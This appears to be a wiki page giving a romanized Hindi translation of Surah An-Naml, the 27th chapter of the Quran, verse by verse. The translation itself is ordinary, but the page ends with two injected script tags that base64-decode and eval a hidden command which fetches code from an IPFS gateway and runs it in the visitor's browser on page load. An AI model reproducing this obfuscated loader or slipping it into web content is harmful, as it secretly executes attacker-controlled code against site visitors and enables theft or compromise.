अन-नम्ल
an-naml islam dharm ke pavitr granth quran ka 27vaan soora (adhyay) hai jisamean 93 ayatean hoti haian.
27:1- ta sin ye quran vajee v raushan kitab ki ayatean hai.
27:2- (ye) un eemanadaroan ke lie (azasaratapa) hidayat aur (jannat ki) khushakhabari hai.
27:3- jo namaz ko pabandi se ada karate haian aur zakat diya karate haian aur yahi log akhirat (qayamat) ka bhi yaqin rakhate haian.
27:4- isamean shak nahian ki jo log akhirat par eeman nahian rakhate (goya) hamane khud (unaki karastaniyoan ko unaki nazar mean) achchha kar dikhaya hai.
27:5- to ye log bhatakate phirate haian- yahi vah log haian jinake lie (qayamat mean) b da azab hai aur yahi log akhirat mean sabase jyada ghata uthane vale haian.
27:6- aur (ai rasool) tumako to quran ek bade vaqiphakar hakim ki baragah se ata kiya jata hai.
27:7- (vah vaqiya yad dilao) jab moosa ne apane l dake baloan se kaha ki maine (apani bayian taraph) ag dekhi hai (ek zara thaharo to) mai vahaan se kuchh (rah ki) khabar laanoo ya tumhean ek sulagata hua ag ka aangara la dooan taki tum tapo.
27:8- garaz jab moosa is ag ke pas ae to unako avaz ayi ki mubarak hai vah jo ag mean (tajalli dikhana) hai aur jo usake gird hai aur vah khuda sare jahaan ka palane vala hai.
27:9- (har aib se) pak v pakiza hai- ai moosa isamean shak nahian ki mai zabaradast hikamat vala hooan.
27:10- aur (haan) apani chh di to (zamin par) dal do to jab moosa ne usako dekha ki vah is tarah lahara rahi hai goya vah jinda azadaha hai to pichhale pavan bhag chale aur pichhe mu dakar bhi n dekha (to hamane kaha) ai moosa daro nahian hamare pas paigambar log dara nahian karate haian.
27:11- (mutamin ho jate hai) magar jo shakhs gunah kare phir gunah ke bad use neki (tauba) se badal de to alabatta b da bakhshane vala meharaban hooan.
27:12- (vahaan) aur apana hath apane gareb aau mean to dalo ki vah saphed burraq hokar beaib nikal aega (ye vah maujize) min jumala nau mojizat ke haian jo tumako milegean tum phiraun aur usaki qaum ke pas (jao) kyoanki vah badakiradar log haian.
27:13- to jab unake pas hamare aauankhean khol dene vale maijize ae to kahane lage ye to khula hua jadoo hai.
27:14- aur bavajood ke unake dil ko un maujizat ka yaqin tha magar phir bhi un logoan ne sarakashi aur takabbur se unako n mana to (ai rasool) dekho ki (akhir) muphasidoan ka anjam kya hoga.
27:15- aur isamean shak nahian ki hamane daood aur suleman ko ilm ata kiya aur donoan ne (khush hokar) kaha khuda ka shukr jisane hamako apane bahutere eemanadar bandoan par phazilat di.
27:16- aur (ilm hikamat jaedad (manakoola) gair manakoola sab mean) suleman daood ke varis hue aur kaha ki log ham ko (khuda ke phazal se) parindoan ki boli bhi sikhayi gayi hai aur hamean (duniya ki) har chiz ata ki gayi hai isamean shak nahian ki ye yaqini (khuda ka) sarihi phazal v karam hai.
27:17- aur suleman ke samane unake lashakar jinnat aur adami aur parinde sab jama kie jate the.
27:18- to vah sabake sab (masal masal) khade qie jate the (garaz is tarah lashakar chalata) yahaan tak ki jab (ek din) chitiyoan ke maidan mean a nikale to ek chitian boli ai chitiyoan apane apane bil mean ghus jao- aisa n ho ki suleman aur unaka lashkar tumhe raund dale aur unhean usaki khabar bhi n ho.
27:19- to suleman is bat se muskura ke hans p dean aur arj qi paravaradigar mujhe tauphiq ata pharama ki jaisi jaisi neamatean toone mujh par aur mere valadain par nazil pharamaee haian mai (unaka) shukriya ada karuan aur maian aise nek kam karuan jise too pasand pharamae aur too apani khas meharabani se mujhe (apane) nekokar bandoan mean dakhil kar.
27:20- aur suleman ne parindoan (ke lashkar) ki haziri li to kahane lage ki kya bat hai ki mai hudahud ko (usaki jagah par) nahian dekhata kya (vaqee mean) vah kahi gayab hai.
27:21- (agar aisa hai to) mai use sakht se sakht saza dooanga ya (nahian to ) use zabah hi kar dalooanga ya vah (apani begunahi ki) koee saph dalil mere pas pesh kare.
27:22- garaz suleman ne tho di hi der (tavakkuf kiya tha ki (hudahud) a gaya) to usane arz ki mujhe yah bat maloom huee hai jo ab tak huzoor ko bhi maloom nahian hai aur ap ke pas shahare saba se ek tahaqiki khabar lekar aya hooan.
27:23- maine ek aurat ko dekha jo vahaan ke logoan par salatanat karati hai aur use (duniya ki) har chiz ata ki gayi hai aur usaka ek b da takht hai.
27:24- maine khud malaka ko dekha aur usaki qaum ko dekha ki vah log khuda ko chho dakar aphatab ko sajada karate haian shaitan ne unaki karatootoan ko (unaki nazar mean) achchha kar dikhaya hai aur unako rahe rast se rok rakha hai.
27:25- to unhean (itani si bat bhi nahian soojhati) ki vah log khuda hi ka sajada kyoan nahian karate jo asaman aur zamin ki poshida batoan ko zahir kar deta hai aur tum log jo kuchh chhipakar ya zahir karake karate ho sab janata hai.
27:26- allah vah hai jisase siva koee mabood nahian vahi (itane) b de arsh ka malik hai (sajada).
27:27- (garaz) suleman ne kaha ham abhi dekhate haian ki toone sach sach kaha ya too jhootha hai.
27:28- (achchha) hamara ye khat lekar ja aur usako un logoan ke samane dal de phir un ke pas se jana phir dekhate rahana ki vah log akhir kya javab dete haian.
27:29- (garaz) hud hud ne malaka ke pas khat pahuancha diya to malaka boli ai (mere darabar ke) saradaroan ye ek vajibul ehataram khat mere pas dal diya gaya hai.
27:30- suleman ki taraph se hai (ye usaka saranama) hai bismillahirarahamanirahim.
27:31- (aur mazamoon) yah hai ki mujh se sarakashi n karo aur mere samane pharamabaradar ban kar hazir ho.
27:32- tab malaka (vilaqis) boli ai mere darabar ke saradaroan tum mere is mamale mean mujhe ray do (kyoanki mera to ye qayada hai ki) jab tak tum log mere samane maujood n ho (mashavara n de do) maian kisi amr mean qatee phaisala n kiya karati.
27:33- un logoan ne arz ki ham b de zoravar bade l dane vale haian aur (ainda) har amr ka ap ko ekhtiyar hai to jo hukm de ap (khud achchhi) tarah isake anjam par gaur kar le.
27:34- malaka ne kaha badashahoan ka qayada hai ki jab kisi basti mean (bazore fateh) dakhil ho jate haian to usako uja d dete haian aur vahaan ke muaziz logoan ko zalil v rusava kar dete haian aur ye log bhi aisa hi kareange.
27:35- aur maian unake pas (elachiyoan ki maarafat kuchh tohapha bhejakar dekhati hooan ki elachi log kya javab late haian) garaz jab bilaqis ka elachi (tohapha lekar) suleman ke pas aya.
27:36- to suleman ne kaha kya tum log mujhe mal ki madad dete ho to khuda ne jo (mal duniya) mujhe ata kiya hai vah (mal) usase jo tumhean bakhsha hai kahian behatar hai (maian to nahi) balki tumhi log apane tohaphe tahayaf se khush hua karo.
27:37- (phir tohapha lane vale ne kaha) to unhian logoan ke pas ja ham yaqinan aise lashkar se un par chadhaee kareange jisaka usase muqabala n ho sakega aur ham zarur unhean vahaan se zalil v rusava karake nikal bahar kareange.
27:38- (jab vah ja chuka) to suleman ne apane ahale darabar se kaha ai mere darabar ke saradaro tumamean se kaun aisa hai ki qabl isake vah log mere samane pharamabaradar banakar ayean
27:39- malika ka takht mere pas le ae (is par) jinoan mean se ek diyo bol utha ki qabl isake ki huzoor (darabar barakhast karake) apani jagah se uthe mai takht apake pas le aooanga aur yaqinan us par qaboo rakhata hooan (aur) zimmedar hooan.
27:40- is par abhi suleman kuchh kahane n pae the ki vah shakhs (asif bin barakhiya) jisake pas kitabe (khuda) ka kis kadar ilm tha bola ki mai ap ki palak jhapakane se pahale takht ko ap ke pas hazir kie deta hooan (bas itane hi mean a gaya) to jab suleman ne use apane pas maujood paya to kahane lage ye mahaz mere paravaradigar ka phazal v karam hai taki vah mera imtehan le ki mai usaka shukr karata hooan ya nashukri karata hooan aur jo koee shukr karata hai vah apani hi bhalaee ke lie shukr karata hai aur jo shakhs na shukri karata hai to (yad rakhie) mera paravaradigar yaqinan beparava aur sakhi hai.
27:41- (usake bad) suleman ne kaha ki usake takht mean (usaki akl ke imtihan ke lie) tagayyur tabadadul kar do taki ham dekhean ki phir bhi vah samajh rakhati hai ya un logoan mean hai jo kuchh samajh nahian rakhate.
27:42- (chunanche aisa hi kiya gaya) phir jab bilaqis (suleman ke pas) ayi to poochha gaya ki tumhara takht bhi aisa hi hai vah boli goya ye vahi hai (phir kahane lagi) hamako to usase pahale hi (apaki nuboovat) maloom ho gayi thi aur ham to apake faramabaradar the hi.
27:43- aur khuda ke siva jise vah poojati thi suleman ne usase use rok diya kyoanki vah kaphir qaum ki thi (aur aphatab ko poojati thi).
27:44- phir usase kaha gaya ki ap ab mahal me chalie to jab usane mahal (mean shishe ke pharsh) ko dekha to usako gahara pani samajhi (aur guzarane ke lie is tarah apane paeche utha lie ki) apani donoan pindaliyaan khol di suleman ne kaha (tum daro nahian) ye (pani nahian hai) mahal hai jo shishe se madha hua hai (us vakt tambih huee aur) arz ki paravaradigar maine (aphatab ko pooja kar) yaqinan apane oopar zulm kiya.
27:45- aur ab maian suleman ke sath sare jahaan ke palane vale khuda par eeman lati hooan aur ham hi ne qaum samood ke pas unake bhaee saleh ko paigambar banakar bheja ki tum log khuda ki ibadat karo to vah saleh ke ate hi (momin v kaphir) do phariq banakar baham jhag dane lage.
27:46- saleh ne kaha ai meri qaum (akhir) tum log bhalaee se pahal buraee ke vaste jaldi kyoan kar rahe ho tum log khuda ki baragah mean tauba v astagaphar kyoan nahi karate taki tum par raham kiya jae.
27:47- vah log bole hamane to tum se aur tumhare sathiyoan se bura shagun paya saleh ne kaha tumhari badakismati khuda ke pas hai (ye sab kuchh nahian) balki tum logoan ki azamaish ki ja rahi hai.
27:48- aur shahar mean nau adami the jo mulk ke baniye phasad the aur isalah ki fikr n karate the-un logoan ne (apas mean) kaha ki baham khuda ki qasam khate jao.
27:49- ki ham log saleh aur usake l dake balo par shab khoon kare usake bad usake vali varis se kah degean ki ham log unake ghar valoan ko halaq hote vakt maujood hi n the aur ham log to yaqinan sachche haian.
27:50- aur un logoan ne ek tadabir ki aur hamane bhi ek tadabir ki aur (hamari tadabir ki) unako khabar bhi n huee.
27:51- to (ai rasool) tum dekho unaki tadabir ka kya (bura) anjam hua ki hamane unako aur sari qaum ko halak kar dala.
27:52- ye bas unake ghar haian ki unaki napharamaniyoan ki vazah se khali viran p de haian isame shak nahi ki us vaqiye mean vaqiph kar logoan ke lie b di ibarat hai.
27:53- aur hamane un logoan ko jo eeman lae the aur parahezagar the bacha liya.
27:54- aur (ai rasool) loot ko (yad karo) jab unhoanne apani qaum se kaha ki kya tum dekhabhal kar (samajh boojh kar) aisi behayaee karate ho.
27:55- kya tum auratoan ko chho dakar shahavat se mardoan ke ate ho (ye tum achchha nahian karate) balki tum log b di jahil qaum ho to loot ki qaum ka isake siva kuchh javab n tha.
27:56- ki vah log bol uthe ki loot ke khanadan ko apani basti (sadoom) se nikal bahar karo ye log b de pak saph banana chahate haian.
27:57- garaj hamane loot ko aur unake khanadan ko bacha liya magar unaki bivi ki hamane usaki taqadir mean pichhe rah jane valoan mean likh diya tha.
27:58- aur (phir to) hamane un logoan par (patthar ka) meanh barasaya to jo log darae ja chuke the un par kya bura meanh barasa.
27:59- (ai rasool) tum kah do (unake halaq hone par) khuda ka shukr aur usake baraguzida bandoan par salam bhala khuda behatar hai ya vah chiz jise ye log sharike khuda kahate haian.
27:60- bhala vah kaun hai jisane asaman aur zamin ko paida kiya aur tumhare vaste asaman se pani barasaya phir ham hi ne pani se dil chasp (khushanuma) bag uthae tumhare to ye bas ki bat n thi ki tum unake darakhtoan ko uga sakate to kya khuda ke sath koee aur mabood bhi hai (haragiz nahian) balki ye log khud apane ji se gadh ke buto ko usake barabar banate haian.
27:61- bhala vah kaun hai jisane zamin ko (logoan ke) thaharane ki jagah banaya aur usake daramiyan ja baja naharean dau dayi aur usaki mazabooti ke vaste paha d banae aur (mithe khari) dariyaoan ke daramiyan hade phasil banaya to kya khuda ke sath koee aur mabood bhi hai (haragiz nahian) balki unamean ke akasar kuchh janate hi nahian.
27:62- bhala vah kaun hai ki jab muzatar use pukare to dua qubool karata hai aur musibat ko door karata hai aur tum logoan ko zamin mean (apana) nayab banata hai to kya khuda ke sath koee aur mabood hai (haragiz nahian) us par bhi tum log bahut kam nasihat v ibarat hasil karate ho.
27:63- bhala vah kaun hai jo tum logoan ki kh़ushki aur tari ki tariqiyoan mean rah dikhata hai aur kaun usaki barane rahamat ke age age (barish ki) khushakhabari lekar havaoan ko bhejata hai-kya khuda ke sath koee aur mabood bhi hai (haragiz nahian) ye log jin chizoan ko khuda ka sharik thaharate haian khuda usase balatar hai.
27:64- bhala vah kaun haian jo khilakat ko ne sire se paida karata hai phir use dobara (marane ke bad) paida karega aur kaun hai jo tum logoan ko asaman v zamin se rizaq deta hai- to kya khuda ke sath koee aur mabood bhi hai (haragiz nahian) (ai rasool) tum (in musharekin se) kaha do ki agar tum sachche ho to apani dalil pesh karo.
27:65- (ai rasool in se) kah do ki jitane log asaman v zamin mean haian uname se koee bhi gaib ki bat ke siva nahian janata aur vah bhi to nahian samajhate ki qabr se dobara kab zinda uth khade qie jaeangean.
27:66- balki (asal ye hai ki) akhirat ke bare mean unake ilm ka khatma ho gaya hai balki usaki taraph se shak mean p dean haian balki (sach ye hai ki) isase ye log aandhe bane hue haian.
27:67- aur kuphphar kahane lage ki kya jab ham aur hamare bap dada (s d gal kar) mitti ho jaeangean to kya ham phir nikale jaeangean.
27:68- usaka to pahale bhi ham se aur hamare bap dadaoan se vayada kiya gaya tha (kahaan ka uthana aur kaisi qayamat) ye to ho n ho agale logoan ke dhakosale haian.
27:69- (ai rasool) logoan se kah do ki rue zamin par zara chal phir kar dekho to gunahagaroan ka anjam kya hua.
27:70- (ai rasool) tum unake hal par kuchh afasos n karo aur jo chalean ye log (tumhare khilaph) chal rahe haian usase tang dil n ho.
27:71- aur ye (kuphfar musalamanoan se) poochhate haian ki agar tum sachche ho to (akhir) ye (qayamat ya azab ka) vayada kab poora hoga.
27:72- (ai rasool) tum kah do ki jis (azab) ki tum log jaldi macha rahe ho kya ajab hai isame se kuchh karib a gaya ho.
27:73- aur isamean to shak hi nahian ki tumhara paravaradigar logoan par b da phazal v karam karane vala hai magar bahutere log (usaka) shukr nahian karate.
27:74- aur isamean to shak nahian jo batean unake diloan mean poshida haian aur jo kuchh ye elaniya karate haian tumhara paravaradigar yaqini janata hai.
27:75- aur asaman v zamin mean koee aisi bat poshida nahian jo vazee v raushan kitab (lauhe mahaphooz) mean (likhi) maujood n ho.
27:76- isamean bhi shak nahian ki ye quran bani isarail par unaki aksar batoan ko jin mean ye ikhtelaf karate haian zahir kar deta hai.
27:77- aur isamean bhi shak nahian ki ye quran eemanadaroan ke vaste azasaratapa hidayat v rahamat hai.
27:78- (ai rasool) beshak tumhara paravaradigar apane hukm se unake apas (ke jhag doan) ka phaisala kar dega aur vah (sab par) galib aur vaqiphakar hai.
27:79- to (ai rasool) tum khuda par bharosa rakho beshak tum yaqini sarihi haq par ho.
27:80- beshak n to tum murdoan ko (apani bat) suna sakate ho aur n baharoan ko apani avaz suna sakate ho (khasakar) jab vah pith pher kar bhag khadean ho.
27:81- aur n tum aandhean ko unaki gumarahi se rah par la sakate ho tum to bas unhian logoan ko (apani bat) suna sakate ho jo hamari ayatoan par eeman rakhate haian.
27:82- phir vahi log to manane vale bhi haian jab un logoan par (qayamat ka) vayada poora hoga to ham unake vaste zamin se ek chalane vala nikal kh da kareange jo unase ye bate kareanga ki (phal aau phala) log hamari ayato ka yaqin nahian rakhate the.
27:83- aur (us din ko yad karo) jis din ham har ummat se ek aise giroh ko jo hamari ayatoan ko jhuthalaya karate the (zinda karake) jama kareange phir un ki toliyaan alahada alahada kareange.
27:84- yahaan tak ki jab vah sab (khuda ke samane) aeangean aur khuda unase kahega kya tum ne hamari ayatoan ko bagair achchhi tarah samajhe boojhe jhuthalaya-bhala tum kya kya karate the aur chooanki ye log zulm kiya karate the.
27:85- in par (azab ka) vayada poora ho gaya phir ye log kuchh bol bhi to n sakeangean.
27:86- kya in logoan ne ye bhi n dekha ki hamane rat ko isalie banaya ki ye log isame chain karean aur din ko raushan (taki dekhabhal kare) beshak isamean eeman lane valoan ke lie (kudarate khuda ki) bahut si nishaniyaan haian.
27:87- aur (us din yad karo) jis din soor phooanka jaega to jitane log asamanoan me haian aur jitane log zamin mean haian (garaz sab ke sab) dahal jaeangean magar jis shakhs ko khuda chahe (vo alabatta mutamin rahega) aur sab log usaki baragah mean zillat v ajizi ki halat mean hazir hogean.
27:88- aur tum paha doan ko dekhakar unhean mazaboor jame hue samajhatean ho halaki ye (qayamat ke din) badal ki tarah u de ude firegean (ye bhi) khuda ki karigari hai ki jisane har chiz ko khoob mazaboot banaya hai beshak jo kuchh tum log karate ho usase vah khoob vaqif hai.
27:89- jo shakhs nek kam karega usake lie usaki jaza usase kahian behatar hai or ye log us din khauph v khatare se mahaphooz raheange.
27:90- aur jo log bura kam kareange vah muanh ke bal jahannum mean jhok die jaeange (aur unase kaha jaega ki) jo kuchh tum (duniya mean) karate the bas usi ka jaza tumhean di jaegi
27:91- (ai rasool unase kah do ki) mujhe to bas yahi hukm diya gaya hai ki mai is shahar (makka) ke malik ki ibadat karuan jisane use ijzat v huramat di hai aur har chiz usaki hai aur mujhe ye hukm diya gaya ki mai (usake) pharamabaradar bandoan mean se hooan.
27:92- aur ye ki mai quran padha karuan phir jo shakhs rah par aya to apani zat ke naphe qe vaste rah par aya aur jo gumarah hua to tum kah do ki mai bhi ek ek darane vala hooan.
27:93- aur tum kah do ki alhamadolillah vah anaqarib tumhean (apani qudarat ki) nishaniyaan dikha dega to tum unhean pahachan loge aur jo kuchh tum karate ho tumhara paravaradigar usase gaphil nahian hai.
|
|
|
|
|
|
tika tippani aur sandarbh
bahari k diyaan
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>